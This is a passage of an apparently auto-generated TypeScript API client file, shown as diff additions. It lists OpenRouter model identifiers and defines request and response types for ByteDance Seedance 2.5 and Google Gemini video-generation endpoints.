'meta-llama/llama-guard-4-12b', + 'meta/muse-glimmer-30b': 'meta/muse-glimmer-30b', + 'meta/muse-glimmer-30b:batch': 'meta/muse-glimmer-30b:batch', + 'meta/muse-spark-1.1': 'meta/muse-spark-1.1', + 'meta/muse-spark-1.2': 'meta/muse-spark-1.2', + 'meta/muse-spark-1.2-contributor': 'meta/muse-spark-1.2-contributor', + 'meta/muse-spark-1.3': 'meta/muse-spark-1.3', + 'meta/muse-spark-1.3-contributor': 'meta/muse-spark-1.3-contributor', + 'meta/muse-spark-open': 'meta/muse-spark-open', + 'meta/muse-wonder': 'meta/muse-wonder', + 'microsoft/phi-4': 'microsoft/phi-4', + 'minimax/minimax-m1': 'minimax/minimax-m1', + 'minimax/minimax-m2.5': 'minimax/minimax-m2.5', + 'minimax/minimax-m2.7': 'minimax/minimax-m2.7', + 'minimax/minimax-m3': 'minimax/minimax-m3', + 'minimax/minimax-m3.1-flash': 'minimax/minimax-m3.1-flash', + 'minimax/minimax-m3:batch': 'minimax/minimax-m3:batch', + 'mistralai/codestral-2508': 'mistralai/codestral-2508', + 'mistralai/devstral-2512': 'mistralai/devstral-2512', + 'mistralai/ministral-14b-2512': 'mistralai/ministral-14b-2512', + 'mistralai/ministral-3b-2512': 'mistralai/ministral-3b-2512', + 'mistralai/ministral-8b-2512': 'mistralai/ministral-8b-2512', + 'mistralai/mistral-large': 'mistralai/mistral-large', + 'mistralai/mistral-large-2407': 'mistralai/mistral-large-2407', + 'mistralai/mistral-large-2512': 'mistralai/mistral-large-2512', + 'mistralai/mistral-large-4-0': 'mistralai/mistral-large-4-0', + 'mistralai/mistral-medium-3': 'mistralai/mistral-medium-3', + 'mistralai/mistral-medium-3.1': 'mistralai/mistral-medium-3.1', + 'mistralai/mistral-medium-3-5': 'mistralai/mistral-medium-3-5', + 'mistralai/mistral-medium-3-5:batch': 'mistralai/mistral-medium-3-5:batch', + 'mistralai/mistral-nemo': 'mistralai/mistral-nemo', + 'mistralai/mistral-saba': 'mistralai/mistral-saba', + 'mistralai/mistral-small-24b-instruct-2501': + 'mistralai/mistral-small-24b-instruct-2501', + 'mistralai/mistral-small-2603': 'mistralai/mistral-small-2603', + 'mistralai/mistral-small-3.1-24b-instruct': + 'mistralai/mistral-small-3.1-24b-instruct', + 'mistralai/mistral-small-3.2-24b-instruct': + 'mistralai/mistral-small-3.2-24b-instruct', + 'mistralai/mixtral-8x22b-instruct': 'mistralai/mixtral-8x22b-instruct', + 'mistralai/voxtral-small-24b-2507': 'mistralai/voxtral-small-24b-2507', + 'moondream/moondream3.1-9b-a2b': 'moondream/moondream3.1-9b-a2b', + 'moondream/moondream3-preview': 'moondream/moondream3-preview', + 'moonshotai/kimi-k2': 'moonshotai/kimi-k2', + 'moonshotai/kimi-k2-0905': 'moonshotai/kimi-k2-0905', + 'moonshotai/kimi-k2.5': 'moonshotai/kimi-k2.5', + 'moonshotai/kimi-k2.6': 'moonshotai/kimi-k2.6', + 'moonshotai/kimi-k2.7-code': 'moonshotai/kimi-k2.7-code', + 'moonshotai/kimi-k2-thinking': 'moonshotai/kimi-k2-thinking', + 'moonshotai/kimi-k3': 'moonshotai/kimi-k3', + 'moonshotai/kimi-k3.1-pro': 'moonshotai/kimi-k3.1-pro', + 'moonshotai/kimi-k3:batch': 'moonshotai/kimi-k3:batch', + '~moonshotai/kimi-latest': '~moonshotai/kimi-latest', + 'morph/morph-v3-fast': 'morph/morph-v3-fast', + 'morph/morph-v3-fast:batch': 'morph/morph-v3-fast:batch', + 'morph/morph-v3-large': 'morph/morph-v3-large', + 'morph/morph-v3-large:batch': 'morph/morph-v3-large:batch', + 'nex-agi/nex-n2.5-mini': 'nex-agi/nex-n2.5-mini', + 'nex-agi/nex-n2.5-pro': 'nex-agi/nex-n2.5-pro', + 'nousresearch/hermes-4-405b': 'nousresearch/hermes-4-405b', + 'nvidia/nemotron-3.5-content-safety': 'nvidia/nemotron-3.5-content-safety', + 'nvidia/nemotron-3.5-lightning': 'nvidia/nemotron-3.5-lightning', + 'nvidia/nemotron-3.5-lightning:free': 'nvidia/nemotron-3.5-lightning:free', + 'nvidia/nemotron-3.5-super-vl': 'nvidia/nemotron-3.5-super-vl', + 'nvidia/nemotron-3.5-super-vl:free': 'nvidia/nemotron-3.5-super-vl:free', + 'nvidia/nemotron-3-nano-30b-a3b': 'nvidia/nemotron-3-nano-30b-a3b', + 'nvidia/nemotron-3-nano-omni-30b-a3b-reasoning:free': + 'nvidia/nemotron-3-nano-omni-30b-a3b-reasoning:free', + 'nvidia/nemotron-3-super-120b-a12b': 'nvidia/nemotron-3-super-120b-a12b', + 'nvidia/nemotron-3-ultra-550b-a55b': 'nvidia/nemotron-3-ultra-550b-a55b', + 'nvidia/nemotron-3-ultra-550b-a55b:free': + 'nvidia/nemotron-3-ultra-550b-a55b:free', + 'nvidia/switchyard': 'nvidia/switchyard', + 'openai/gpt-3.5-turbo-0613': 'openai/gpt-3.5-turbo-0613', + 'openai/gpt-3.5-turbo-16k': 'openai/gpt-3.5-turbo-16k', + 'openai/gpt-4': 'openai/gpt-4', + 'openai/gpt-4.1': 'openai/gpt-4.1', + 'openai/gpt-4.1:batch': 'openai/gpt-4.1:batch', + 'openai/gpt-4.1-mini': 'openai/gpt-4.1-mini', + 'openai/gpt-4.1-mini:batch': 'openai/gpt-4.1-mini:batch', + 'openai/gpt-4.1-nano': 'openai/gpt-4.1-nano', + 'openai/gpt-4.1-nano:batch': 'openai/gpt-4.1-nano:batch', + 'openai/gpt-4-turbo:batch': 'openai/gpt-4-turbo:batch', + 'openai/gpt-4o': 'openai/gpt-4o', + 'openai/gpt-4o-2024-05-13': 'openai/gpt-4o-2024-05-13', + 'openai/gpt-4o-2024-08-06': 'openai/gpt-4o-2024-08-06', + 'openai/gpt-4o-2024-11-20': 'openai/gpt-4o-2024-11-20', + 'openai/gpt-4o:batch': 'openai/gpt-4o:batch', + 'openai/gpt-4o-mini': 'openai/gpt-4o-mini', + 'openai/gpt-4o-mini-2024-07-18': 'openai/gpt-4o-mini-2024-07-18', + 'openai/gpt-4o-mini:batch': 'openai/gpt-4o-mini:batch', + 'openai/gpt-5': 'openai/gpt-5', + 'openai/gpt-5.1': 'openai/gpt-5.1', + 'openai/gpt-5.1:batch': 'openai/gpt-5.1:batch', + 'openai/gpt-5.1-codex': 'openai/gpt-5.1-codex', + 'openai/gpt-5.1-codex-max': 'openai/gpt-5.1-codex-max', + 'openai/gpt-5.1-codex-mini': 'openai/gpt-5.1-codex-mini', + 'openai/gpt-5.2': 'openai/gpt-5.2', + 'openai/gpt-5.2:batch': 'openai/gpt-5.2:batch', + 'openai/gpt-5.2-chat': 'openai/gpt-5.2-chat', + 'openai/gpt-5.2-codex': 'openai/gpt-5.2-codex', + 'openai/gpt-5.2-pro': 'openai/gpt-5.2-pro', + 'openai/gpt-5.2-pro:batch': 'openai/gpt-5.2-pro:batch', + 'openai/gpt-5.3-codex': 'openai/gpt-5.3-codex', + 'openai/gpt-5.4': 'openai/gpt-5.4', + 'openai/gpt-5.4:batch': 'openai/gpt-5.4:batch', + 'openai/gpt-5.4-image-2': 'openai/gpt-5.4-image-2', + 'openai/gpt-5.4-mini': 'openai/gpt-5.4-mini', + 'openai/gpt-5.4-mini:batch': 'openai/gpt-5.4-mini:batch', + 'openai/gpt-5.4-nano': 'openai/gpt-5.4-nano', + 'openai/gpt-5.4-nano:batch': 'openai/gpt-5.4-nano:batch', + 'openai/gpt-5.4-pro': 'openai/gpt-5.4-pro', + 'openai/gpt-5.4-pro:batch': 'openai/gpt-5.4-pro:batch', + 'openai/gpt-5.5': 'openai/gpt-5.5', + 'openai/gpt-5.5:batch': 'openai/gpt-5.5:batch', + 'openai/gpt-5.5-pro': 'openai/gpt-5.5-pro', + 'openai/gpt-5.5-pro:batch': 'openai/gpt-5.5-pro:batch', + 'openai/gpt-5.6-luna': 'openai/gpt-5.6-luna', + 'openai/gpt-5.6-luna:batch': 'openai/gpt-5.6-luna:batch', + 'openai/gpt-5.6-luna-pro': 'openai/gpt-5.6-luna-pro', + 'openai/gpt-5.6-luna-pro:batch': 'openai/gpt-5.6-luna-pro:batch', + 'openai/gpt-5.6-sol': 'openai/gpt-5.6-sol', + 'openai/gpt-5.6-sol:batch': 'openai/gpt-5.6-sol:batch', + 'openai/gpt-5.6-sol-pro': 'openai/gpt-5.6-sol-pro', + 'openai/gpt-5.6-sol-pro:batch': 'openai/gpt-5.6-sol-pro:batch', + 'openai/gpt-5.6-terra': 'openai/gpt-5.6-terra', + 'openai/gpt-5.6-terra:batch': 'openai/gpt-5.6-terra:batch', + 'openai/gpt-5.6-terra-pro': 'openai/gpt-5.6-terra-pro', + 'openai/gpt-5.6-terra-pro:batch': 'openai/gpt-5.6-terra-pro:batch', + 'openai/gpt-5:batch': 'openai/gpt-5:batch', + 'openai/gpt-5-image': 'openai/gpt-5-image', + 'openai/gpt-5-image-mini': 'openai/gpt-5-image-mini', + 'openai/gpt-5-mini': 'openai/gpt-5-mini', + 'openai/gpt-5-mini:batch': 'openai/gpt-5-mini:batch', + 'openai/gpt-5-nano': 'openai/gpt-5-nano', + 'openai/gpt-5-nano:batch': 'openai/gpt-5-nano:batch', + 'openai/gpt-5-pro': 'openai/gpt-5-pro', + 'openai/gpt-5-pro:batch': 'openai/gpt-5-pro:batch', + 'openai/gpt-6.1-sol': 'openai/gpt-6.1-sol', + 'openai/gpt-6.1-sol:batch': 'openai/gpt-6.1-sol:batch', + 'openai/gpt-6.1-sol-pro': 'openai/gpt-6.1-sol-pro', + 'openai/gpt-6.1-sol-pro:batch': 'openai/gpt-6.1-sol-pro:batch', + 'openai/gpt-6.1-terra': 'openai/gpt-6.1-terra', + 'openai/gpt-6.1-terra:batch': 'openai/gpt-6.1-terra:batch', + 'openai/gpt-6.1-terra-pro': 'openai/gpt-6.1-terra-pro', + 'openai/gpt-6.1-terra-pro:batch': 'openai/gpt-6.1-terra-pro:batch', + 'openai/gpt-6-astra': 'openai/gpt-6-astra', + 'openai/gpt-6-astra:batch': 'openai/gpt-6-astra:batch', + 'openai/gpt-6-astra-pro': 'openai/gpt-6-astra-pro', + 'openai/gpt-6-astra-pro:batch': 'openai/gpt-6-astra-pro:batch', + 'openai/gpt-6-luna': 'openai/gpt-6-luna', + 'openai/gpt-6-luna:batch': 'openai/gpt-6-luna:batch', + 'openai/gpt-6-luna-pro': 'openai/gpt-6-luna-pro', + 'openai/gpt-6-luna-pro:batch': 'openai/gpt-6-luna-pro:batch', + 'openai/gpt-6-sol': 'openai/gpt-6-sol', + 'openai/gpt-6-sol:batch': 'openai/gpt-6-sol:batch', + 'openai/gpt-6-sol-pro': 'openai/gpt-6-sol-pro', + 'openai/gpt-6-sol-pro:batch': 'openai/gpt-6-sol-pro:batch', + '~openai/gpt-astra-latest': '~openai/gpt-astra-latest', + 'openai/gpt-audio': 'openai/gpt-audio', + 'openai/gpt-audio-mini': 'openai/gpt-audio-mini', + 'openai/gpt-chat-latest': 'openai/gpt-chat-latest', + '~openai/gpt-luna-latest': '~openai/gpt-luna-latest', + '~openai/gpt-mini-latest': '~openai/gpt-mini-latest', + 'openai/gpt-oss-120b': 'openai/gpt-oss-120b', + 'openai/gpt-oss-120b:batch': 'openai/gpt-oss-120b:batch', + 'openai/gpt-oss-20b': 'openai/gpt-oss-20b', + 'openai/gpt-oss-20b:batch': 'openai/gpt-oss-20b:batch', + 'openai/gpt-oss-safeguard-20b': 'openai/gpt-oss-safeguard-20b', + '~openai/gpt-sol-latest': '~openai/gpt-sol-latest', + '~openai/gpt-terra-latest': '~openai/gpt-terra-latest', + 'openai/o3': 'openai/o3', + 'openai/o3:batch': 'openai/o3:batch', + 'openai/o3-mini:batch': 'openai/o3-mini:batch', + 'openai/o3-pro': 'openai/o3-pro', + 'openai/o4-mini:batch': 'openai/o4-mini:batch', + 'openrouter/auto': 'openrouter/auto', + 'openrouter/auto-beta': 'openrouter/auto-beta', + 'openrouter/auto-code': 'openrouter/auto-code', + 'openrouter/bodybuilder': 'openrouter/bodybuilder', + 'openrouter/free': 'openrouter/free', + 'openrouter/fusion': 'openrouter/fusion', + 'openrouter/pareto-code': 'openrouter/pareto-code', + 'particle-ai/particle-1': 'particle-ai/particle-1', + 'perceptron/perceptron-mk1': 'perceptron/perceptron-mk1', + 'perceptron/perceptron-mk1.5': 'perceptron/perceptron-mk1.5', + 'perplexity/sonar': 'perplexity/sonar', + 'perplexity/sonar-deep-research': 'perplexity/sonar-deep-research', + 'perplexity/sonar-pro': 'perplexity/sonar-pro', + 'perplexity/sonar-pro-search': 'perplexity/sonar-pro-search', + 'perplexity/sonar-reasoning-pro': 'perplexity/sonar-reasoning-pro', + 'prism-ml/ternary-bonsai-2-27b': 'prism-ml/ternary-bonsai-2-27b', + 'prism-ml/ternary-bonsai-2-9b': 'prism-ml/ternary-bonsai-2-9b', + 'qwen/qwen-2.5-72b-instruct': 'qwen/qwen-2.5-72b-instruct', + 'qwen/qwen-2.5-7b-instruct': 'qwen/qwen-2.5-7b-instruct', + 'qwen/qwen-2.5-coder-32b-instruct': 'qwen/qwen-2.5-coder-32b-instruct', + 'qwen/qwen-plus': 'qwen/qwen-plus', + 'qwen/qwen2.5-vl-72b-instruct': 'qwen/qwen2.5-vl-72b-instruct', + 'qwen/qwen3-14b': 'qwen/qwen3-14b', + 'qwen/qwen3-235b-a22b-2507': 'qwen/qwen3-235b-a22b-2507', + 'qwen/qwen3-235b-a22b-thinking-2507': 'qwen/qwen3-235b-a22b-thinking-2507', + 'qwen/qwen3-30b-a3b': 'qwen/qwen3-30b-a3b', + 'qwen/qwen3-30b-a3b-instruct-2507': 'qwen/qwen3-30b-a3b-instruct-2507', + 'qwen/qwen3-32b': 'qwen/qwen3-32b', + 'qwen/qwen3.5-122b-a10b': 'qwen/qwen3.5-122b-a10b', + 'qwen/qwen3.5-27b': 'qwen/qwen3.5-27b', + 'qwen/qwen3.5-35b-a3b': 'qwen/qwen3.5-35b-a3b', + 'qwen/qwen3.5-397b-a17b': 'qwen/qwen3.5-397b-a17b', + 'qwen/qwen3.5-9b': 'qwen/qwen3.5-9b', + 'qwen/qwen3.5-flash-02-23': 'qwen/qwen3.5-flash-02-23', + 'qwen/qwen3.5-plus-02-15': 'qwen/qwen3.5-plus-02-15', + 'qwen/qwen3.5-plus-20260420': 'qwen/qwen3.5-plus-20260420', + 'qwen/qwen3.6-27b': 'qwen/qwen3.6-27b', + 'qwen/qwen3.6-35b-a3b': 'qwen/qwen3.6-35b-a3b', + 'qwen/qwen3.6-flash': 'qwen/qwen3.6-flash', + 'qwen/qwen3.6-plus': 'qwen/qwen3.6-plus', + 'qwen/qwen3.7-flash': 'qwen/qwen3.7-flash', + 'qwen/qwen3.7-max': 'qwen/qwen3.7-max', + 'qwen/qwen3.7-plus': 'qwen/qwen3.7-plus', + 'qwen/qwen3.7-plus:batch': 'qwen/qwen3.7-plus:batch', + 'qwen/qwen3.8-2.4t-a95b': 'qwen/qwen3.8-2.4t-a95b', + 'qwen/qwen3.8-27b': 'qwen/qwen3.8-27b', + 'qwen/qwen3.8-27b:batch': 'qwen/qwen3.8-27b:batch', + 'qwen/qwen3.8-flash': 'qwen/qwen3.8-flash', + 'qwen/qwen3.8-max-0902': 'qwen/qwen3.8-max-0902', + 'qwen/qwen3.8-max-prime': 'qwen/qwen3.8-max-prime', + 'qwen/qwen3.8-omni-flash': 'qwen/qwen3.8-omni-flash', + 'qwen/qwen3-coder': 'qwen/qwen3-coder', + 'qwen/qwen3-coder-30b-a3b-instruct': 'qwen/qwen3-coder-30b-a3b-instruct', + 'qwen/qwen3-coder-flash': 'qwen/qwen3-coder-flash', + 'qwen/qwen3-coder-next': 'qwen/qwen3-coder-next', + 'qwen/qwen3-next-80b-a3b-instruct': 'qwen/qwen3-next-80b-a3b-instruct', + 'qwen/qwen3-vl-235b-a22b-instruct': 'qwen/qwen3-vl-235b-a22b-instruct', + 'qwen/qwen3-vl-30b-a3b-instruct': 'qwen/qwen3-vl-30b-a3b-instruct', + 'qwen/qwen3-vl-30b-a3b-thinking': 'qwen/qwen3-vl-30b-a3b-thinking', + 'qwen/qwen3-vl-8b-instruct': 'qwen/qwen3-vl-8b-instruct', + 'recursive/flint-v1.0:free': 'recursive/flint-v1.0:free', + 'reflection/beam-1.0-501b-a23b': 'reflection/beam-1.0-501b-a23b', + 'rekaai/reka-edge': 'rekaai/reka-edge', + 'rekaai/reka-flash-3': 'rekaai/reka-flash-3', + 'relace/relace-apply-3': 'relace/relace-apply-3', + 'relace/relace-search': 'relace/relace-search', + 'ricursiveai/ripple-65b-preview': 'ricursiveai/ripple-65b-preview', + 'sakana/fugu-max': 'sakana/fugu-max', + 'sakana/fugu-ultra': 'sakana/fugu-ultra', + 'sakana/fugu-ultra-v2': 'sakana/fugu-ultra-v2', + 'sakana/sakana-namazu': 'sakana/sakana-namazu', + 'sao10k/l3.1-euryale-70b': 'sao10k/l3.1-euryale-70b', + 'sao10k/l3-lunaris-8b': 'sao10k/l3-lunaris-8b', + 'scaledown/extract': 'scaledown/extract', + 'scaledown/summarize': 'scaledown/summarize', + 'stealth/crouton-alpha': 'stealth/crouton-alpha', + 'stepfun/step-3.5-flash': 'stepfun/step-3.5-flash', + 'stepfun/step-3.7-flash': 'stepfun/step-3.7-flash', + 'stepfun/step-5-preview': 'stepfun/step-5-preview', + 'tencent/hunyuan-a13b-instruct': 'tencent/hunyuan-a13b-instruct', + 'tencent/hy-mt2-1.8b': 'tencent/hy-mt2-1.8b', + 'tencent/hy-mt2-30b-a3b': 'tencent/hy-mt2-30b-a3b', + 'tencent/hy-mt2-7b': 'tencent/hy-mt2-7b', + 'tencent/hy3': 'tencent/hy3', + 'tencent/hy3-preview': 'tencent/hy3-preview', + 'tencent/hy4': 'tencent/hy4', + 'tencent/hy4-preview': 'tencent/hy4-preview', + 'thedrummer/cydonia-24b-v4.1': 'thedrummer/cydonia-24b-v4.1', + 'thedrummer/skyfall-36b-v2': 'thedrummer/skyfall-36b-v2', + 'thedrummer/unslopnemo-12b': 'thedrummer/unslopnemo-12b', + 'thinkingmachines/inkling': 'thinkingmachines/inkling', + 'thinkingmachines/inkling-small': 'thinkingmachines/inkling-small', + 'thinkingmachines/inkling-small:batch': + 'thinkingmachines/inkling-small:batch', + 'typesafe/jev-router': 'typesafe/jev-router', + 'unbiased/pareto-26.10': 'unbiased/pareto-26.10', + 'unbiased/pareto-26.9': 'unbiased/pareto-26.9', + '~unbiased/pareto-latest': '~unbiased/pareto-latest', + 'undi95/remm-slerp-l2-13b': 'undi95/remm-slerp-l2-13b', + 'upstage/solar-mini4': 'upstage/solar-mini4', + 'upstage/solar-pro4': 'upstage/solar-pro4', + 'writer/palmyra-x5': 'writer/palmyra-x5', + 'x-ai/grok-4.20': 'x-ai/grok-4.20', + 'x-ai/grok-4.20-multi-agent': 'x-ai/grok-4.20-multi-agent', + 'x-ai/grok-4.3': 'x-ai/grok-4.3', + 'x-ai/grok-4.3:batch': 'x-ai/grok-4.3:batch', + 'x-ai/grok-4.5': 'x-ai/grok-4.5', + 'x-ai/grok-4.6': 'x-ai/grok-4.6', + 'x-ai/grok-4.6:batch': 'x-ai/grok-4.6:batch', + 'x-ai/grok-4.7': 'x-ai/grok-4.7', + 'x-ai/grok-4.7:batch': 'x-ai/grok-4.7:batch', + 'x-ai/grok-build-0.1': 'x-ai/grok-build-0.1', + '~x-ai/grok-latest': '~x-ai/grok-latest', + 'xiaomi/mimo-v2.5': 'xiaomi/mimo-v2.5', + 'xiaomi/mimo-v2.5-pro': 'xiaomi/mimo-v2.5-pro', + 'xiaomi/mimo-v2.6-flash': 'xiaomi/mimo-v2.6-flash', + 'xiaomi/mimo-v2.6-pro': 'xiaomi/mimo-v2.6-pro', + 'xiaomi/mimo-v2.6-pro-ultraspeed': 'xiaomi/mimo-v2.6-pro-ultraspeed', + 'xingchen-agi/xing4.0-29b-a4b:free': 'xingchen-agi/xing4.0-29b-a4b:free', + 'z-ai/glm-4.5': 'z-ai/glm-4.5', + 'z-ai/glm-4.5-air': 'z-ai/glm-4.5-air', + 'z-ai/glm-4.5v': 'z-ai/glm-4.5v', + 'z-ai/glm-4.6': 'z-ai/glm-4.6', + 'z-ai/glm-4.6v': 'z-ai/glm-4.6v', + 'z-ai/glm-4.7': 'z-ai/glm-4.7', + 'z-ai/glm-4.7-flash': 'z-ai/glm-4.7-flash', + 'z-ai/glm-5': 'z-ai/glm-5', + 'z-ai/glm-5.1': 'z-ai/glm-5.1', + 'z-ai/glm-5.2': 'z-ai/glm-5.2', + 'z-ai/glm-5.2:batch': 'z-ai/glm-5.2:batch', + 'z-ai/glm-5.3': 'z-ai/glm-5.3', + 'z-ai/glm-5.3:batch': 'z-ai/glm-5.3:batch', + 'z-ai/glm-5.3-flash': 'z-ai/glm-5.3-flash', + 'z-ai/glm-5.3-flash:batch': 'z-ai/glm-5.3-flash:batch', + 'z-ai/glm-5.3-flashx': 'z-ai/glm-5.3-flashx', + 'z-ai/glm-5.3-flashx-legal': 'z-ai/glm-5.3-flashx-legal', + 'z-ai/glm-5.3-prime': 'z-ai/glm-5.3-prime', + 'z-ai/glm-5-turbo': 'z-ai/glm-5-turbo', + 'z-ai/glm-5v-turbo': 'z-ai/glm-5v-turbo', + '~z-ai/glm-flash-latest': '~z-ai/glm-flash-latest', + '~z-ai/glm-latest': '~z-ai/glm-latest', +} as const + +export type OpenrouterPostVideosBytedanceSeedance25RequestModelEnumKey = + (typeof openrouterPostVideosBytedanceSeedance25RequestModelEnum)[keyof typeof openrouterPostVideosBytedanceSeedance25RequestModelEnum] + +export const openrouterPostVideosBytedanceSeedance25RequestResolutionEnum = { + '480p': '480p', + '720p': '720p', +} as const + +export type OpenrouterPostVideosBytedanceSeedance25RequestResolutionEnumKey = + (typeof openrouterPostVideosBytedanceSeedance25RequestResolutionEnum)[keyof typeof openrouterPostVideosBytedanceSeedance25RequestResolutionEnum] + +export const openrouterPostVideosBytedanceSeedance25RequestSizeEnum = { + '854x480': '854x480', + '752x560': '752x560', + '640x640': '640x640', + '560x752': '560x752', + '480x854': '480x854', + '992x432': '992x432', + '1280x720': '1280x720', + '1112x834': '1112x834', + '960x960': '960x960', + '834x1112': '834x1112', + '720x1280': '720x1280', + '1470x630': '1470x630', +} as const + +export type OpenrouterPostVideosBytedanceSeedance25RequestSizeEnumKey = + (typeof openrouterPostVideosBytedanceSeedance25RequestSizeEnum)[keyof typeof openrouterPostVideosBytedanceSeedance25RequestSizeEnum] + +/** + * @description ByteDance: Seedance 2.5 (bytedance/seedance-2.5) — model-constrained video generation request. Seedance 2.5 is a video generation model from ByteDance. It is suited for long-form storytelling, multimodal reference-based generation, video editing, and video extension. It supports first-frame and first-and-last-frame control, up... + * @example {"aspect_ratio":"16:9","duration":8,"model":"google/veo-3.1","prompt":"A serene mountain landscape at sunset","resolution":"720p"} + * @type object + */ +export type OpenrouterPostVideosBytedanceSeedance25Body = { + /** + * @description Aspect ratio of the generated video + * @example 16:9 + * @type string | undefined + */ + aspect_ratio?: OpenrouterPostVideosBytedanceSeedance25RequestAspectRatioEnumKey + /** + * @description URL to receive a webhook notification when the video generation job completes. Overrides the workspace-level default callback URL if set. Must be HTTPS. + * + * Format: `uri` + * @example https://example.com/webhook + * @type string | undefined + */ + callback_url?: string + /** + * @description Creativity level for video upscaling models only. This parameter is not supported by video generation models. + * @example 1 + * @type integer | undefined + */ + creativity?: number + /** + * @description Duration of the generated video in seconds + * @example 8 + * @type number | undefined + */ + duration?: OpenrouterPostVideosBytedanceSeedance25RequestDurationEnumKey + /** + * @description Images to use as the first and/or last frame of the generated video. Each image must specify a frame_type of first_frame or last_frame. Frame types supported by this model: first_frame, last_frame. + * @type array | undefined + */ + frame_images?: FrameImage[] + /** + * @description Whether to generate audio alongside the video. Defaults to the endpoint's generate_audio capability flag, false if not set. + * @example true + * @type boolean | undefined + */ + generate_audio?: boolean + /** + * @description Reference assets to guide video generation. Accepts image, audio, and video references. Audio and video references are only honored by providers that support them (including BytePlus Seedance generation 2 and newer); other providers use image references and ignore the rest. + * @type array | undefined + */ + input_references?: InputReference[] + /** + * @description Model id (fixed for this model-constrained schema) + * @type string + */ + model: OpenrouterPostVideosBytedanceSeedance25RequestModelEnumKey + /** + * @description ID of a completed video job to edit or extend, as returned by the submit response. The new job runs on the same model and endpoint that produced the previous one. Only models that support continuation accept this field. + * @pattern ^gen-vid-\d+-[0-9A-Za-z]{20}$ + * @example gen-vid-1789493115-a1B2c3D4e5F6g7H8i9J0 + * @type string | undefined + */ + previous_job_id?: string + /** + * @description Text prompt describing the video to generate. Optional for models that support generating a video from image input alone; required by all other models. + * @example A serene mountain landscape at sunset + * @type string | undefined + */ + prompt?: string + /** + * @description Provider routing preferences (order, only, ignore) and provider-specific passthrough configuration Passthrough parameters allowed for this model: watermark, req_key, output_format. + * @type object | undefined + */ + provider?: { + /** + * @description List of provider slugs to ignore. If provided, this list is merged with your account-wide ignored provider settings for this request. + * @example ["openai","anthropic"] + * @type array | undefined + */ + ignore?: (ProviderNameKey | string)[] | null + /** + * @description List of provider slugs to allow. If provided, this list is merged with your account-wide allowed provider settings for this request. + * @example ["openai","anthropic"] + * @type array | undefined + */ + only?: (ProviderNameKey | string)[] | null + /** + * @description Provider-specific options keyed by provider slug. The provider segment is case-insensitive; an endpoint tag after `/` must match the endpoint slug exactly. Only options for the matched provider are forwarded; the rest are ignored. Unrecognized keys are silently dropped. + * @example {"google-vertex":{"output_config":{"effort":"low"}}} + * @type object | undefined + */ + options?: ProviderOptions + /** + * @description An ordered list of provider slugs. The router will attempt to use the first provider in the subset of this list that supports your requested model, and fall back to the next if it is unavailable. If no providers are available, the request will fail with an error message. + * @example ["openai","anthropic"] + * @type array | undefined + */ + order?: (ProviderNameKey | string)[] | null + } + /** + * @description Resolution of the generated video + * @example 720p + * @type string | undefined + */ + resolution?: OpenrouterPostVideosBytedanceSeedance25RequestResolutionEnumKey + /** + * @description If specified, the generation will sample deterministically, such that repeated requests with the same seed and parameters should return the same result. Determinism is not guaranteed for all providers. + * @type integer | undefined + */ + seed?: number + /** + * @description A unique identifier for grouping related requests (e.g., a conversation or agent workflow). Used for observability grouping in Broadcast and private logging; never sent to the provider. If provided in both the request body and the x-session-id header, the body value takes precedence. Maximum of 256 characters. + * @maxLength 256 + * @example session-1234 + * @type string | undefined + */ + session_id?: string + /** + * @description Exact pixel dimensions of the generated video in "WIDTHxHEIGHT" format (e.g. "1280x720"). Interchangeable with resolution + aspect_ratio. + * @example 1280x720 + * @type string | undefined + */ + size?: OpenrouterPostVideosBytedanceSeedance25RequestSizeEnumKey + /** + * @description Metadata for observability and tracing. Known keys (trace_id, trace_name, span_name, generation_name, parent_span_id) have special handling. Additional keys are passed through as custom metadata to configured broadcast destinations. + * @example {"trace_id":"trace-abc123","trace_name":"my-app-trace"} + * @type object | undefined + */ + trace?: TraceConfig + /** + * @description Upscale factor for video upscaling models only. This parameter is not supported by video generation models. + * + * Format: `double` + * @minimum 0 + * @example 2 + * @type number | undefined + */ + upscale_factor?: number + /** + * @description A unique identifier representing your end-user. Forwarded to Broadcast and private logging as the end-user id; never sent to the provider. + * @maxLength 256 + * @example user-1234 + * @type string | undefined + */ + user?: string +} + +export type OpenrouterPostVideosBytedanceSeedance25Options = { + body: OpenrouterPostVideosBytedanceSeedance25Body + path?: never + query?: never + headers?: never +} + +export type OpenrouterPostVideosBytedanceSeedance25Responses = { + '200': OpenrouterPostVideosBytedanceSeedance25Status200 +} + +/** + * @description Union of all possible responses + */ +export type OpenrouterPostVideosBytedanceSeedance25Response = + OpenrouterPostVideosBytedanceSeedance25Status200 + +export const openrouterPostVideosGoogleGeminiOmni11FlashStatus200StatusEnum = { + pending: 'pending', + in_progress: 'in_progress', + completed: 'completed', + failed: 'failed', + cancelled: 'cancelled', + expired: 'expired', +} as const + +export type OpenrouterPostVideosGoogleGeminiOmni11FlashStatus200StatusEnumKey = + (typeof openrouterPostVideosGoogleGeminiOmni11FlashStatus200StatusEnum)[keyof typeof openrouterPostVideosGoogleGeminiOmni11FlashStatus200StatusEnum] + +/** + * @example {"generation_id":"gen-vid-1789480874-Ab3dEf9hIjKlMnOpQrSt","id":"gen-vid-1789480874-Ab3dEf9hIjKlMnOpQrSt","polling_url":"/api/v1/videos/gen-vid-1789480874-Ab3dEf9hIjKlMnOpQrSt","status":"pending"} + * @type object + */ +export type OpenrouterPostVideosGoogleGeminiOmni11FlashStatus200 = { + error?: string + /** + * @description Unix timestamp in seconds when OpenRouter's stored copy of the outputs stops being available. Present only when that copy exists. + * @type integer | undefined + */ + expires_at?: number + /** + * @description The generation ID associated with this video generation job. Available once the job has been processed. + * @type string | undefined + */ + generation_id?: string + /** + * @description The video job ID, in the `gen-vid--<20 alphanumerics>` generation ID format. Pass it as `previous_job_id` to continue the generation. + * @type string + */ + id: string + polling_url: string + status: OpenrouterPostVideosGoogleGeminiOmni11FlashStatus200StatusEnumKey + /** + * @description OpenRouter content URLs for each output. They need your API key in the `Authorization` header and keep working for as long as the output is available. + * @type array | undefined + */ + unsigned_urls?: string[] + /** + * @description Signed download URLs for OpenRouter's stored copy of each output, usable without an API key until `expires_at`. Anyone holding a URL can download that output until it expires, so treat it like a secret. Present only when the stored copy exists. + * @type array | undefined + */ + urls?: string[] + /** + * @description Usage and cost information for the video generation. Available once the job has completed. + * @example {"cost":0.5,"is_byok":false} + * @type object | undefined + */ + usage?: VideoGenerationUsage +} + +export const openrouterPostVideosGoogleGeminiOmni11FlashRequestAspectRatioEnum = + { + '16:9': '16:9', + '9:16': '9:16', + } as const + +export type 